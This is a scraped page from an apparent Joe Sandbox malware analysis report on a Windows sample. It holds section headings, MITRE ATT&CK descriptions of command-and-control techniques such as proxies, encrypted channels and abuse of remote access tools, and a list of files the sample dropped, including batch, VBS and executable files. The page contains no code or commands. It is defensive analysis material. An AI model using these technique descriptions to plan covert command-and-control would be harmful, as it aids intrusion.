Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0A7XTINw3R.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\0ee712ebb0d7b92b7244dfd3d3b5b50f.bat

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\malnotify.exe

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\process.log

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\temp_ruby.zip

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\41546afb898c8a377b77bce6d604d2e2\winclock.exe

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\d42706bf42e64bbdfe3696dd11d9bad4.vbs

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\ddd06ef82d6d579523a798f429f6f5ae.bat

C:\Users\user\AppData\Local\Programs\Ruby\TemporaryFiles\Profiles\000001\e775357b2b21508be040c5b0f0c4c8e8.vbs

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_23h1hypu.fwk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4erywn2n.f4k.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ljpd1ig.lkb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bjvxs23r.2qg.ps1

Windows Analysis Report
0A7XTINw3R.exe

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre